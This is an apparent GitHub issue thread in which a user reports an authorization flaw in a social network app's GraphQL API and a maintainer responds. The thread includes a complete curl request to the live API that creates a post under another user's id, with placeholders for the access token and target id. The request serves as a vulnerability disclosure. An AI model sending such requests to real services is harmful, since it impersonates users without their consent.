Security problem

[fabiooshiro]

Hi guys, nice work!

I found a problem that allows me to post with name of other people...

How the security layer works in resolvers?

[DimiMikadze]

Hi @fabiooshiro, thanks for opening the issue. However, please respect the issue template, so the bug you are encountering is easily understandable and replicable for other people.

You need to elaborate more on describing the bug and explaining steps to reproduce.

[fabiooshiro]

step 1, find the user id

step 2, replace the access token and the id

curl 'https://csn-api.herokuapp.com/graphql' \
  -H 'Connection: keep-alive' \
  -H 'accept: */*' \
  -H 'authorization: <YOUR-ACCESS-TOKEN>' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36' \
  -H 'content-type: application/json' \
  -H 'Origin: https://worldexplorer.netlify.app' \
  -H 'Sec-Fetch-Site: cross-site' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Referer: https://worldexplorer.netlify.app/' \
  -H 'Accept-Language: en-US,en;q=0.9,pt;q=0.8' \
  --data-binary $'{"operationName":null,"variables":{"input":{"title":"Some post","image":"","authorId":"<THE-USER-ID>"}},"query":"mutation ($input: CreatePostInput\u0021) {\\n  createPost(input: $input) {\\n    id\\n    __typename\\n  }\\n}\\n"}' \
  --compressed

[fabiooshiro]

the result

[fabiooshiro]

If you dig more you will see that all system parts suffer from the same problem...
Good news is that's not difficult do solve

[fabiooshiro]

take your time

[DimiMikadze]

@fabiooshiro Once again, thank you for reporting the bug.

Currently, I'm busy with other projects, and I'm planning to address this issue soon when I'm available.

At first, we need to investigate what parts of the application contain the bug. Then create an issue with a detailed description of the bugs, explanation of how to reproduce them, and plan how to fix them.

Finally, we can start working on a PR based on a plan.

If you want to take part in this process, your work will be much appreciated, but please keep the "plan" and "issue/PR" templates in mind.

[DimiMikadze]

Closing in favor of #73